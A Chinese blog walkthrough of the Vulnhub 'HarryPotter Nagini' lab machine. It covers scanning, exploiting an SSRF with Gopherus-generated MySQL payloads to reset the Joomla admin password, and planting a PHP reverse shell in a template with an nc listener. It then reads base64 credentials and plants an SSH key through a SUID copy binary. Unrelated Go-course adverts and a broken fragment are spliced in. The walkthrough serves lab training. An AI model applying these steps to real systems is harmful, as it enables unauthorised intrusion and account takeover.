看完这篇 教你玩转渗透测试靶机Vulnhub——HarryPotter Nagini_gopher 靶机(2)

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Go语言开发知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以戳这里获取

Vulnhub靶机漏洞详解：

①：信息收集：

kali里使用arp-scan -l或者netdiscover发现主机

渗透机：kali IP ：192.168.0.105 靶机IP ：192.168.0.100

使用命令：nmap -sS -sV -A -n -p- 192.168.0.100

发现开启了22和80端口，先访问一下哈利波特（经典再现）🆗还是老样子dirb、dirsearch、whatweb、gobuster、nikto、gobuster等

这里发现了/note.txt 和 /joomla两个目录依次进行访问 发现是Joomla的CMS框架，这里可以使用joomscan探测（DC3讲过）

DC3链接：https://blog.csdn.net/Aluxian_/article/details/123676768?spm=1001.2014.3001.5502

apt-get install joomscan  #安装一下

这里发现后台 不知道账号密码先放着 然后下载bak文件进行查看 得到了一个账号：goblin 但是没密码

②：漏洞发现：

上面note.txt 有提HTTP3 就是这个域名需要用这个来进行访问 所以需要我们来搭建一下（我看网上有些教程没成功）

GitHub项目：https://github.com/cloudflare/quiche

apt-get  install cargo  #安装 cargo Cargo 是 Rust 的构建系统和包管理器。
cargo  bulid --examples  #命令使用前先装上 cmake

vim /etc/apt/sources.list   #换个yuan
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib  #重庆大学yuan

Blocking waiting for file lock on package cache  #报错信息
rm -rf ~/.cargo/.package-cache  #这里是装错了报错的解决方法


cd  quiche/target/debug/examples  #安装好了运行
./http3-client https://192.168.0.100 #运行一下 正常来说可以探测到漏洞了

可恶啊 我以为成功了 结果这里又报了个错 说版本太低 搞了半天没搞好 先跳过吧 到时候在研究（会的小伙伴私信一下我也行！）

看了别人的wp 扫出来有个 /internalResourceFeTcher.php 随便测试一下 输入京东：https://www.jd.com/ 发现会跳转 存在SSRF漏洞

③：SSRF漏洞利用：

这里要学个新工具：Gopherus 运行后输入数据库类型 在输入数据库名称，以及执行的语句 然后把生成的payload 放入网页即可执行。

git clone https://github.com/tarunkant/Gopherus.git  #使用python2运行
python2 gopherus.py --exploit mysql # mysql数据库 
goblin  #输入数据库名
show databases;  #查询数据库 发现 joomla 数据库接着查表
use joomla;show tables;  #使用库查询表
use joomla; select * from joomla_users;

site_admin #账号
<$2y$10$cmQ.akn2au104AhR4.YJBOC5W13gyV21D/bkoTmbWWqFWjzEW7vay #密文解不出来

echo -n "password" |md5sum #md5 加密
5f4dcc3b5aa765d61d8327deb882cf99 #生成的md5值
use joomla;update joomla_users set password="5f4dcc3b5aa765d61d8327deb882cf99" where username="site\_admin";  

使用账号和密码：site_admin/password 登入成功！！！

④：网站后台GetShell：

在beez3编辑修改index.php使用kali自带的php-reverse-shell.php

cp   /usr/share/webshells/php/php-reverse-shell.php  /root/桌面
nc -lvvp 1234
http://192.168.0.100/joomla/templates/beez3/index.php  #访问index.php 让其连接回弹
/bin/bash -i
whoami  #查看权限 www-data 低权限 需要提权

⑤：SSH公钥登入：

进入家目录发现两个用户 其中一个存在隐藏文件 查看base64解码得到密码：Love@lilly

cd /home #发现两个用户hermoine 和snape
cd snape
ls -al #查看隐藏文件
cat .creds.txt #查看文件内容 base64解码
ssh snape@192.168.0.100 #ssh登入snape用户 
ssh-keygen -f "/root/.ssh/known\_hosts" -R "192.168.0.100"

find / -perm -u=s 2>/dev/null #查询具有suid权限的

ssh-keygen  #生成SSH私钥 路径在/root/下面
scp id_rsa.pub snape@192.168.15.134:~/  #将私钥文件复制到 snape用户下面
chmod 777 authorized_keys #给权限这里一定要给640 我给的777权限访问拒绝ssh连不进去
cd /home/hermoine/bin/
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/ #远程复制到hermoine的ssh目录下

这里没权限，我们先找一下第一个魂器吧 在/var/www/html/下面

这里就是复制的作用 既然可以复制 那么是不是可以生成公钥传到靶机 然后就不要密码登入了！

PS: 权限要给640 不然登不进去 我开始给的777 改一下就可以了，这里得到了第二个魂器

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Go语言开发知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以戳这里获取

gxV-1715581297234)]

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Go语言开发知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以戳这里获取